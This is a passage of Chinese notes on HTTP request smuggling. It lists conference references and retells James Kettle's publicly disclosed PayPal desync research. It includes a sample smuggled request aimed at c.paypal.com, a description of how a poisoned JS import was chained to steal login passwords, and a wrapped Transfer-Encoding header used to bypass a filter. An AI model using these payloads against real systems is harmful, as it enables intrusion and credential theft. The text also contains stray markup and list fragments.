参考

2015-WatchFire - 《Microsoft Word - HTTP Request Smuggling WP - FINAL.doc》

2016-DEFCON 24@regilero - Hiding Wookiees in HTTP

2019-BlackHat USA 2019@James Kettle - HTTP Desync Attacks: Smashing into the Cell Next Door

0

GET /webstatic HTTP/1.1 Host: skeletonscribe.net? X: XGET /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1 Host: c.paypal.com Connection: close

HTTP/1.1 302 Found Location: http://skeletonscribe.net?, c.paypal.com/webstatic/

  1. 但是,有一个问题 - PayPal 的登录页面使用了带有script-src的[内容安全策略](https://portswigger.net/web-security/cross-site-scripting/content-security-policy),它杀死了我的重定向:<br />![](https://cdn.nlark.com/yuque/0/2022/svg/1632223/1658068387372-af4068fd-ea82-4a5c-aabf-0aed4dcb3171.svg#clientId=u4d7a9b4c-3490-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=ua9266663&margin=%5Bobject%20Object%5D&originHeight=191&originWidth=960&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u40829171-2c0e-487a-8b61-c3f26d68d31&title=)<br />这最初看起来像是纵深防御的胜利。但是,我注意到登录页面在动态生成的 iframe 中加载了 c.paypal.com 上的子页面。这个子页面没有使用[CSP](https://portswigger.net/web-security/cross-site-scripting/content-security-policy),还导入了我们中毒的 JS 文件。这使我们可以完全控制 iframe 的内容,但由于**同源策略**,我们仍然无法从父页面读取用户的 PayPal 密码:<br />![](https://cdn.nlark.com/yuque/0/2022/svg/1632223/1658068387323-eb988f51-7757-4383-9121-dcc2c068a370.svg#clientId=u4d7a9b4c-3490-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=u8cdc1f9a&margin=%5Bobject%20Object%5D&originHeight=373&originWidth=960&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u43b11590-9d6b-4147-aa6d-380b00979b5&title=)<br /> 然后我的同事 Gareth Heyes 在 paypal.com/us/gifts 上发现了一个没有使用 CSP 的页面,并且还导入了我们中毒的 JS 文件。通过使用我们的 JS 将 c.paypal.com iframe 重定向到该 URL(并第三次触发我们的 JS 导入),我们最终可以访问父级并从使用 Safari 或 IE 登录的每个人那里窃取明文 PayPal 密码:<br />![](https://cdn.nlark.com/yuque/0/2022/svg/1632223/1658068387562-77cb64d0-78b5-4967-817a-382c459c18c6.svg#clientId=u4d7a9b4c-3490-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=u8ba707f6&margin=%5Bobject%20Object%5D&originHeight=441&originWidth=960&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=ub003e792-d617-44ee-908a-bce1ff53214&title=)<br /> PayPal 通过将 Akamai 配置为拒绝包含Transfer-Encoding: 分块标头的请求,迅速解决了这个漏洞,并获得了 18,900 美元的奖金。<br />几周后,在发明和测试一些新的去同步技术时,我决定尝试使用换行的标题:
  2. ```http
  3. Transfer-Encoding:
  4. chunked

这似乎使 Transfer-Encoding 标头对 Akamai 完全不可见,Akamai 让它通过并再次授予我对 PayPal 登录页面的控制权。PayPal 迅速应用了更强大的修复程序,并获得了令人印象深刻的 20,000 美元。两份报告的摘要已公开披露,并附有 PayPal 的声明。

19.09.17-Regilero - Security: HTTP Smuggling, Apache Traffic Server

19.10.10-mengchen@知道创宇404实验室 - 协议层的攻击:HTTP请求走私

19.12.05-zeddyu - 一篇文章带你读懂 HTTP Smuggling 攻击